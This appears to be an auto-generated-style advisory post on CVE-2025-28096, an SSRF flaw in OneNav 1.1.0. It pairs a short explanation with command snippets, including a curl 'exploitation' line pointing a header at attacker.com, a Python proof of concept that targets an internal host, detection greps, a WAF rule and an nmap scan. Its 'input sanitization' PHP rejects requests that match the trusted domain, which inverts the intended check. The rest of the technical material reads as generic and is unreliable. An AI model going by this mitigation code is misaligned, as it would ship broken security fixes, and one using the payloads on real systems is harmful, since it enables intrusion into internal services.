OneNav, Server-Side Request Forgery (SSRF), CVE-2025-28096 (Critical)

How the CVE Works

CVE-2025-28096 is a critical SSRF vulnerability in OneNav 1.1.0, allowing attackers to manipulate custom HTTP headers to forge server-side requests. The flaw occurs when user-supplied input in headers is insufficiently sanitized, enabling malicious actors to redirect internal HTTP requests to arbitrary domains. Attackers can exploit this to bypass firewall restrictions, access sensitive internal services, or exfiltrate data. The vulnerability leverages improper validation in the header parsing mechanism, where crafted `X-Forwarded-For` or similar headers trigger unauthorized outbound connections. This could lead to remote code execution (RCE) if internal APIs or admin panels are exposed.

DailyCVE Form

Platform: OneNav
Version: 1.1.0
Vulnerability: SSRF
Severity: Critical
Date: 04/07/2025

What Undercode Say:

Exploitation:

curl -H "X-Forwarded-For: http://attacker.com" http://victim.com/api/fetch

Detection:

grep -r "header\s=\s\$_SERVER" /var/www/onenav/

Mitigation:

1. Patch to OneNav 1.1.1+.

2. Input sanitization:

if (preg_match('/^https?:\/\/trusted.com/', $_SERVER['HTTP_X_FORWARDED_FOR'])) {
die("Invalid header");
}

3. Network controls:

iptables -A OUTPUT -d 192.168.0.0/16 -j DROP

Exploit Code (PoC):

import requests
headers = {"X-Forwarded-For": "http://internal-db.local"}
r = requests.get("http://onenav-victim.com/proxy", headers=headers)
print(r.text)

Log Analysis:

tail -f /var/log/apache2/access.log | grep -E "internal|localhost"

WAF Rule:

if ($http_x_forwarded_for ~ (localhost|127.0.0.1)) {
return 403;
}

Impact Assessment:

nmap -p 80,443 --script http-ssrf 192.168.1.0/24

Patch Verification:

diff -u /var/www/onenav/header.php patched_header.php

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-28096
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top